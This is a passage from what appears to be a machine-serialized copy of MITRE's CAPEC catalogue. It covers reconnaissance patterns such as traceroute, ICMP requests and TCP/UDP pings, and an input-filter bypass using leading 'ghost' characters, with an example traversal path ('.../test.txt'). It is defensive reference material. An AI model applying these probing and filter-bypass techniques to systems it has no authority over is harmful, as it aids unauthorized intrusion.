virtually any crafted packet whatsoever, provided the adversary can identify a functional host based on its response. An attack of this nature is usually carried out with a 'ping sweep,' where a particular kind of ping is sent to a range of IP addresses.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern16607 + Related_Attack_Pattern_16607 + + + + + + + + + + + + + + 169 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires logical access to the target network in order to carry out host discovery.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The resources required will differ based upon the type of host discovery being performed. Usually a network scanning tool or scanning script is required due to the volume of requests that must be generated.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence16616 + Consequence_16616 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence16620 + Consequence_16620 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingRemoteSystemDiscovery + Remote System Discovery + + + + + + + + + + + + + + 1018 + + + + + Remote System Discovery + + + + + + + + + + + + #indReferenceReference16638 + Reference_16638 + + + + + + + + + REF-33 + + + + + Chapter 1: Footprinting, pp.44 + + + + + + + + + + + + #indReferenceReference16640 + Reference_16640 + + + + + + + + + REF-34 + + + + + Section 3.6 Host Discover Techniques, pg.57 + + + + + + + + + + + + #indContentHistoryContentHistory16642 + Content_History_16642 + + + + + + + + + + + + + + + + #indSubmissionSubmission16643 + Submission_16643 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification16648 + Modification_16648 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated References + + + + + + + + + + + + #indModificationModification16654 + Modification_16654 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Prerequisites, Description Summary, References, Related_Weaknesses, Resources_Required + + + + + + + + + + + + #indModificationModification16660 + Modification_16660 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification16666 + Modification_16666 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification16672 + Modification_16672 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification16678 + Modification_16678 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-293 + Traceroute Route Enumeration + + + + + + + + + 293 + + + + + Traceroute Route Enumeration + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses a traceroute utility to map out the route which data flows through the network in route to a target destination. Tracerouting can allow the adversary to construct a working topology of systems and routers by listing the systems through which data passes through on their way to the targeted machine. This attack can return varied results depending upon the type of traceroute that is performed. Traceroute works by sending packets to a target while incrementing the Time-to-Live field in the packet header. As the packet traverses each hop along its way to the destination, its TTL expires generating an ICMP diagnostic message that identifies where the packet expired. Traditional techniques for tracerouting involved the use of ICMP and UDP, but as more firewalls began to filter ingress ICMP, methods of traceroute using TCP were developed.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern16691 + Related_Attack_Pattern_16691 + + + + + + + + + + + + + + 309 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A network capable of routing the attackers' packets to the destination network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A command line version of traceroute or similar tool that performs route enumeration.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence16700 + Consequence_16700 + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference16709 + Reference_16709 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pp. 38-41 + + + + + + + + + + + + #indContentHistoryContentHistory16711 + Content_History_16711 + + + + + + + + + + + + + + + + #indSubmissionSubmission16712 + Submission_16712 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification16717 + Modification_16717 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, Related_Weaknesses + + + + + + + + + + + + #CAPEC-294 + ICMP Address Mask Request + + + + + + + + + 294 + + + + + ICMP Address Mask Request + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends an ICMP Type 17 Address Mask Request to gather information about a target's networking configuration. ICMP Address Mask Requests are defined by RFC-950, "Internet Standard Subnetting Procedure." An Address Mask Request is an ICMP type 17 message that triggers a remote system to respond with a list of its related subnets, as well as its default gateway and broadcast address via an ICMP type 18 Address Mask Reply datagram. Gathering this type of information helps the adversary plan router-based attacks as well as denial-of-service attacks against the broadcast address.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Many modern operating systems will not respond to ICMP type 17 messages for security reasons. Determining whether a system or router will respond to an ICMP Address Mask Request helps the adversary determine operating system or firmware version. Additionally, because these types of messages are rare, they are easily spotted by intrusion detection systems. Many ICMP scanning tools support IP spoofing to help conceal the origin of the actual request among a storm of similar ICMP messages. It is a common practice for border firewalls and gateways to be configured to block ingress ICMP type 17 and egress ICMP type 18 messages.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern16733 + Related_Attack_Pattern_16733 + + + + + + + + + + + + + + 292 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to send an ICMP type 17 query (Address Mask Request) to a remote target and receive an ICMP type 18 message (ICMP Address Mask Reply) in response. Generally, modern operating systems will ignore ICMP type 17 messages, however, routers will commonly respond to this request.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to send custom ICMP queries. This can be accomplished via the use of various scanners or utilities.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence16744 + Consequence_16744 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence16748 + Consequence_16748 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference16759 + Reference_16759 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pp. 53-54 + + + + + + + + + + + + #indReferenceReference16760 + Reference_16760 + + + + + + + + + REF-139 + + + + + + + + + + + + #indReferenceReference16761 + Reference_16761 + + + + + + + + + REF-123 + + + + + + + + + + + + #indReferenceReference16762 + Reference_16762 + + + + + + + + + REF-125 + + + + + + + + + + + + #indReferenceReference16764 + Reference_16764 + + + + + + + + + REF-34 + + + + + Section 3.7.2 ICMP Probe Selection, pg. 70 + + + + + + + + + + + + #indContentHistoryContentHistory16766 + Content_History_16766 + + + + + + + + + + + + + + + + #indSubmissionSubmission16767 + Submission_16767 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification16772 + Modification_16772 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification16778 + Modification_16778 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, Related_Weaknesses + + + + + + + + + + + + #indModificationModification16784 + Modification_16784 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification16790 + Modification_16790 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-295 + Timestamp Request + + + + + + + + + 295 + + + + + Timestamp Request + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This pattern of attack leverages standard requests to learn the exact time associated with a target system. An adversary may be able to use the timestamp returned from the target to attack time-based security algorithms, such as random number generators, or time-based authentication mechanisms.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern16802 + Related_Attack_Pattern_16802 + + + + + + + + + + + + + + 292 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to send a timestamp request to a remote target and receive a response.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Scanners or utilities that provide the ability to send custom ICMP queries.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence16813 + Consequence_16813 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends an ICMP type 13 Timestamp Request to determine the time as recorded by a remote target. Timestamp Replies, ICMP Type 14, usually return a value in Greenwich Mean Time. An adversary can attempt to use an ICMP Timestamp requests to 'ping' a remote system to see if is alive. Additionally, because these types of messages are rare they are easily spotted by intrusion detection systems, many ICMP scanning tools support IP spoofing to help conceal the origin of the actual request among a storm of similar ICMP messages. It is a common practice for border firewalls and gateways to be configured to block ingress ICMP type 13 and egress ICMP type 14 messages.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may gather the system time or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. The information could be useful for performing other techniques, such as executing a file with a Scheduled Task, or to discover locality information based on time zone to assist in victim targeting</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingSystemTimeDiscovery + System Time Discovery + + + + + + + + + + + + + + 1124 + + + + + System Time Discovery + + + + + + + + + + + + #indReferenceReference16832 + Reference_16832 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pp. 44-51 + + + + + + + + + + + + #indReferenceReference16833 + Reference_16833 + + + + + + + + + REF-123 + + + + + + + + + + + + #indReferenceReference16834 + Reference_16834 + + + + + + + + + REF-124 + + + + + + + + + + + + #indReferenceReference16835 + Reference_16835 + + + + + + + + + REF-125 + + + + + + + + + + + + #indReferenceReference16837 + Reference_16837 + + + + + + + + + REF-147 + + + + + Section 3.7.2 ICMP Probe Selection, pg. 70 + + + + + + + + + + + + #indContentHistoryContentHistory16839 + Content_History_16839 + + + + + + + + + + + + + + + + #indSubmissionSubmission16840 + Submission_16840 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification16845 + Modification_16845 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary, Resources_Required + + + + + + + + + + + + #indModificationModification16851 + Modification_16851 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Prerequisites, Description Summary, Examples-Instances, References, Related_Weaknesses + + + + + + + + + + + + #indModificationModification16857 + Modification_16857 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName16863 + Previous_Entry_Name_16863 + + + + + + + + + 2018-07-31 + + + + + ICMP Timestamp Request + + + + + + + + + + + + #CAPEC-296 + ICMP Information Request + + + + + + + + + 296 + + + + + ICMP Information Request + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends an ICMP Information Request to a host to determine if it will respond to this deprecated mechanism. ICMP Information Requests are a deprecated message type. Information Requests were originally used for diskless machines to automatically obtain their network configuration, but this message type has been superseded by more robust protocol implementations like DHCP.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern16870 + Related_Attack_Pattern_16870 + + + + + + + + + + + + + + 292 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to send an ICMP Type 15 Information Request and receive an ICMP Type 16 Information Reply in response.</xhtml:div> + + + + + + + + + + + + #indSkillSkill16878 + Skill_16878 + + + + + + + + + + + + + + The adversary needs to know certain linux commands for this type of attack. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Scanners or utilities that provide the ability to send custom ICMP queries.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence16884 + Consequence_16884 + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference16893 + Reference_16893 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pp. 44-51 + + + + + + + + + + + + #indReferenceReference16894 + Reference_16894 + + + + + + + + + REF-123 + + + + + + + + + + + + #indReferenceReference16895 + Reference_16895 + + + + + + + + + REF-124 + + + + + + + + + + + + #indReferenceReference16896 + Reference_16896 + + + + + + + + + REF-125 + + + + + + + + + + + + #indReferenceReference16898 + Reference_16898 + + + + + + + + + REF-34 + + + + + Section 3.7.2 ICMP Probe Selection, pg. 70 + + + + + + + + + + + + #indContentHistoryContentHistory16900 + Content_History_16900 + + + + + + + + + + + + + + + + #indSubmissionSubmission16901 + Submission_16901 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification16906 + Modification_16906 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary, Resources_Required + + + + + + + + + + + + #indModificationModification16912 + Modification_16912 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required, Description Summary, Related_Weaknesses + + + + + + + + + + + + #indModificationModification16918 + Modification_16918 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-297 + TCP ACK Ping + + + + + + + + + 297 + + + + + TCP ACK Ping + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends a TCP segment with the ACK flag set to a remote host for the purpose of determining if the host is alive. This is one of several TCP 'ping' types. The RFC 793 expected behavior for a service is to respond with a RST 'reset' packet to any unsolicited ACK segment that is not part of an existing connection. So by sending an ACK segment to a port, the adversary can identify that the host is alive by looking for a RST packet. Typically, a remote server will respond with a RST regardless of whether a port is open or closed. In this way, TCP ACK pings cannot discover the state of a remote port because the behavior is the same in either case. The firewall will look up the ACK packet in its state-table and discard the segment because it does not correspond to any active connection. A TCP ACK Ping can be used to discover if a host is alive via RST response packets sent from the host.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern16930 + Related_Attack_Pattern_16930 + + + + + + + + + + + + + + 292 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to send an ACK packet to a remote host and identify the response. Creating the ACK packet without building a full connection requires the use of raw sockets. As a result, it is not possible to send a TCP ACK ping from some systems (Windows XP SP 2) without the use of third-party packet drivers like Winpcap. On other systems (BSD, Linux) administrative privileges are required in order to write to the raw socket.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must employ a stateless firewall that lacks a rule set that rejects unsolicited ACK packets.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires the ability to craft custom TCP ACK segments for use during network reconnaissance. Sending an ACK ping requires the ability to access "raw sockets" in order to create the packets with direct access to the packet header.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">ACK scanning can be performed via the use of a port scanner or by raw socket manipulation using a scripting or programming language. Packet injection tools are also useful for this purpose. Depending upon the technique used it may also be necessary to sniff the network in order to see the response.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence16943 + Consequence_16943 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence16947 + Consequence_16947 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage stateful firewalls that allow for the rejection of a packet that is not part of an existing connection.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indReferenceReference16962 + Reference_16962 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 49 + + + + + + + + + + + + #indReferenceReference16963 + Reference_16963 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference16964 + Reference_16964 + + + + + + + + + REF-34 + + + + + Section 3.6.2 TCP ACK Ping, pg. 61 + + + + + + + + + + + + #indReferenceReference16965 + Reference_16965 + + + + + + + + + REF-125 + + + + + + + + + + + + #indContentHistoryContentHistory16967 + Content_History_16967 + + + + + + + + + + + + + + + + #indSubmissionSubmission16968 + Submission_16968 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification16973 + Modification_16973 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Prerequisites, Description, Description Summary, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification16979 + Modification_16979 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-298 + UDP Ping + + + + + + + + + 298 + + + + + UDP Ping + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends a UDP datagram to the remote host to determine if the host is alive. If a UDP datagram is sent to an open UDP port there is very often no response, so a typical strategy for using a UDP ping is to send the datagram to a random high port on the target. The goal is to solicit an 'ICMP port unreachable' message from the target, indicating that the host is alive. UDP pings are useful because some firewalls are not configured to block UDP datagrams sent to strange or typically unused ports, like ports in the 65K range. Additionally, while some firewalls may filter incoming ICMP, weaknesses in firewall rule-sets may allow certain types of ICMP (host unreachable, port unreachable) which are useful for UDP ping attempts.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern16991 + Related_Attack_Pattern_16991 + + + + + + + + + + + + + + 292 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires the ability to send a UDP datagram to a remote host and receive a response.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires the ability to craft custom UDP Packets for use during network reconnaissance.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target's firewall must not be configured to block egress ICMP messages.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">UDP pings can be performed via the use of a port scanner or by raw socket manipulation using a scripting or programming language. Packet injection tools are also useful for this purpose. Depending upon the technique used it may also be necessary to sniff the network in order to see the response.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence17004 + Consequence_17004 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence17008 + Consequence_17008 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configure your firewall to block egress ICMP messages.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indReferenceReference17023 + Reference_17023 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 47 + + + + + + + + + + + + #indReferenceReference17024 + Reference_17024 + + + + + + + + + REF-158 + + + + + + + + + + + + #indReferenceReference17025 + Reference_17025 + + + + + + + + + REF-125 + + + + + + + + + + + + #indReferenceReference17026 + Reference_17026 + + + + + + + + + REF-34 + + + + + Section 3.6.3 TCP UDP Ping, pg. 63 + + + + + + + + + + + + #indContentHistoryContentHistory17028 + Content_History_17028 + + + + + + + + + + + + + + + + #indSubmissionSubmission17029 + Submission_17029 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification17034 + Modification_17034 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Prerequisites, Description, Description Summary, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification17040 + Modification_17040 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-299 + TCP SYN Ping + + + + + + + + + 299 + + + + + TCP SYN Ping + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses TCP SYN packets as a means towards host discovery. Typical RFC 793 behavior specifies that when a TCP port is open, a host must respond to an incoming SYN "synchronize" packet by completing stage two of the 'three-way handshake' - by sending an SYN/ACK in response. When a port is closed, RFC 793 behavior is to respond with a RST "reset" packet. This behavior can be used to 'ping' a target to see if it is alive by sending a TCP SYN packet to a port and then looking for a RST or an ACK packet in response.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Due to the different responses from open and closed ports, SYN packets can be used to determine the remote state of the port. A TCP SYN ping is also useful for discovering alive hosts protected by a stateful firewall. In cases where a specific firewall rule does not block access to a port, a SYN packet can pass through the firewall to the host and solicit a response from either an open or closed port. When a stateful firewall is present, SYN pings are preferable to ACK pings because a stateful firewall will typically drop all unsolicited ACK packets as they are not part of an existing or new connection. TCP SYN pings often fail when a stateless ACL or firewall is configured to blanket-filter incoming packets to a port. The firewall device will discard any SYN packets to a blocked port. Often, an adversary will alternate between SYN and ACK pings to discover if a host is alive.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern17055 + Related_Attack_Pattern_17055 + + + + + + + + + + + + + + 292 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to send a TCP SYN packet to a remote target. Depending upon the operating system, the ability to craft SYN packets may require elevated privileges.</xhtml:div> + + + + + + + + + + + + #indSkillSkill17063 + Skill_17063 + + + + + + + + + + + + + + The adversary needs to know how to craft and send protocol commands from the command line or within a tool. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">SYN pings can be performed via the use of a port scanner or by raw socket manipulation using a scripting or programming language. Packet injection tools are also useful for this purpose. Depending upon the technique used it may also be necessary to sniff the network in order to see the response.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence17069 + Consequence_17069 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence17073 + Consequence_17073 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference17085 + Reference_17085 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 48 + + + + + + + + + + + + #indReferenceReference17086 + Reference_17086 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference17087 + Reference_17087 + + + + + + + + + REF-34 + + + + + Section 3.6.2 TCP SYN Ping, pg. 61 + + + + + + + + + + + + #indReferenceReference17088 + Reference_17088 + + + + + + + + + REF-125 + + + + + + + + + + + + #indContentHistoryContentHistory17090 + Content_History_17090 + + + + + + + + + + + + + + + + #indSubmissionSubmission17091 + Submission_17091 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification17096 + Modification_17096 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required, Description, Description Summary, Related_Weaknesses, Resources_Required + + + + + + + + + + + + #indModificationModification17102 + Modification_17102 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification17108 + Modification_17108 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-3 + Using Leading 'Ghost' Character Sequences to Bypass Input Filters + + + + + + + + + 3 + + + + + Using Leading 'Ghost' Character Sequences to Bypass Input Filters + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern17123 + Related_Attack_Pattern_17123 + + + + + + + + + + + + + + 267 + + + + + + + + + + + + #indAttackStepAttackStep17126 + Attack_Step_17126 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser, an automated tool or by inspecting the application, an adversary records all entry points to the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually inspect the application to find entry points.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep17135 + Attack_Step_17135 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe entry points to locate vulnerabilities] The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various leading 'Ghost' character sequences to determine how to application filters them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Add additional characters to common sequences such as "../" to see how the application will filter them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try repeating special characters (?, @, #, *, etc.) at the beginning of user input to see how the application filters these out.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep17142 + Attack_Step_17142 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Bypass input filtering] Using what the adversary learned about how the application filters input data, they craft specific input data that bypasses the filter. This can lead to directory traversal attacks, arbitrary shell command execution, corruption of files, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted API must ignore the leading ghost characters that are used to get past the filters for the semantics to be the same.</xhtml:div> + + + + + + + + + + + + #indSkillSkill17152 + Skill_17152 + + + + + + + + + + + + + + The ability to make an API request, and knowledge of "ghost" characters that will not be filtered by any input validation. These "ghost" characters must be known to not affect the way in which the request will be interpreted. + + + + + + + + + + + + #indConsequenceConsequence17155 + Consequence_17155 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence17161 + Consequence_17161 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an allowlist rather than a denylist input validation.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Canonicalize all data prior to validation.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Take an iterative approach to input validation (defense in depth).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Alternate Encoding with Ghost Characters in FTP and Web Servers&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Some web and FTP servers fail to detect prohibited upward directory traversals if the user-supplied pathname contains extra characters such as an extra leading dot. For example, a program that will disallow access to the pathname "../test.txt" may erroneously allow access to that file if the pathname is specified as ".../test.txt". This attack succeeds because 1) the input validation logic fails to detect the triple-dot as a directory traversal attempt (since it isn't dot-dot), 2) some part of the input processing decided to strip off the "extra" dot, leaving the dot-dot behind.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" 